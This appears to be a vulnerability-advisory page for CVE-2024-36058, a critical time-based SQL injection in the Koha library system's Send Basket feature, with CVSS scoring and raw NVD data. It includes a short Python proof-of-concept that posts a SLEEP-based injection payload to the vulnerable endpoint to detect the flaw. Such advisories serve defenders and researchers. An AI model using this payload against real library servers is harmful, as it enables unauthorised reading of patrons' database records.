Security Vulnerability Report
中文
CVE-2024-36058 CVSS 9.8 CRITICAL

CVE-2024-36058

Published: 2026-04-07 17:16:25
Last Modified: 2026-04-09 14:16:25

Description

The Send Basket functionality in Koha Library before 23.05.10 is susceptible to Time-Based SQL Injection because it fails to sanitize the POST parameter bib_list in /cgi-bin/koha/opac-sendbasket.pl, allowing library users to read arbitrary data from the database.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Koha Library < 23.05.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time def check_sqli(url): target_endpoint = f"{url}/cgi-bin/koha/opac-sendbasket.pl" # Payload testing time-based blind SQL injection # If the database takes 5 seconds to respond, the condition is likely True payload = { "bib_list": "1' AND (SELECT SLEEP(5))-- -" } try: start_time = time.time() response = requests.post(target_endpoint, data=payload, timeout=10) end_time = time.time() response_time = end_time - start_time if response_time >= 5: print(f"[+] Vulnerability detected! Response time: {response_time:.2f}s") else: print(f"[-] Not vulnerable or patched. Response time: {response_time:.2f}s") except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": target_ip = "http://127.0.0.1" # Replace with target URL check_sqli(target_ip)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-36058", "sourceIdentifier": "[email protected]", "published": "2026-04-07T17:16:25.050", "lastModified": "2026-04-09T14:16:24.777", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Send Basket functionality in Koha Library before 23.05.10 is susceptible to Time-Based SQL Injection because it fails to sanitize the POST parameter bib_list in /cgi-bin/koha/opac-sendbasket.pl, allowing library users to read arbitrary data from the database."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/hacklantic/Research/tree/main/CVE-2024-36058", "source": "[email protected]"}, {"url": "https://gitlab.com/koha-community/Koha/-/blob/23.05.x/misc/release_notes/release_notes_23_05_10.md", "source": "[email protected]"}, {"url": "https://gitlab.com/koha-community/Koha/-/blob/23.05.x/misc/release_notes/release_notes_23_05_11.md", "source": "[email protected]"}, {"url": "https://koha-community.org/koha-22-05-22-released/", "source": "[email protected]"}]}}